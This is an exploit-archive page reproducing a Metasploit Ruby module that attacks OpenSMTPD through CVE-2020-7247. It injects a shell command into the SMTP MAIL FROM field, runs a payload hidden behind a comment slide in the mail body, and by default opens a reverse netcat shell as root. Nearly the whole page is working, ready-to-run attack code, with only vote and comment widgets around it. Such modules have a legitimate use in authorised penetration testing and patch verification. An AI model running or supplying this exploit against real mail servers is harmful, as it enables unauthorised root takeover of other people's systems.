OpenSMTPD MAIL FROM Remote Code Execution

2020.02.08
cn wvu (CN) cn
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', 'Description' => %q{ This module exploits a command injection in the MAIL FROM field during SMTP interaction with OpenSMTPD to execute code as the root user. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu', # Module 'RageLtMan <rageltman[at]sempervictus>' # Module ], 'References' => [ ['CVE', '2020-7247'], ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3'] ], 'DisclosureDate' => '2020-01-28', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ ['OpenSMTPD >= commit a8e222352f', 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} )) register_options([ Opt::RPORT(25), OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end def check connect res = sock.get_once return CheckCode::Unknown unless res return CheckCode::Detected if res =~ /^220.*OpenSMTPD/ CheckCode::Safe rescue EOFError, Rex::ConnectionError => e vprint_error(e.message) CheckCode::Unknown ensure disconnect end def exploit unless datastore['ForceExploit'] unless check == CheckCode::Detected fail_with(Failure::Unknown, 'Set ForceExploit to override') end end # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) # Send mail to this valid recipient to = datastore['RCPT_TO'] # Comment "slide" courtesy of Qualys - brilliant! iter = rand_text_alphanumeric(15).chars.join(' ') from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;" # This is just insurance, since the code was already written if from.length > 64 fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars') elsif (badchars = (from.chars & target['MyBadChars'])).any? fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}") end # Create the mail body with comment slide and payload body = "\r\n" + "#\r\n" * 15 + payload.encoded sploit = { nil => /220.*OpenSMTPD/, "HELO #{me}" => /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, 'DATA' => /354 Enter mail.*itself/, body => nil, '.' => /250.*Message accepted for delivery/, 'QUIT' => /221.*Bye/ } print_status('Connecting to OpenSMTPD') connect print_status('Saying hello and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: sock, timeout: datastore['ExpectTimeout'], newline: "\r\n" ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top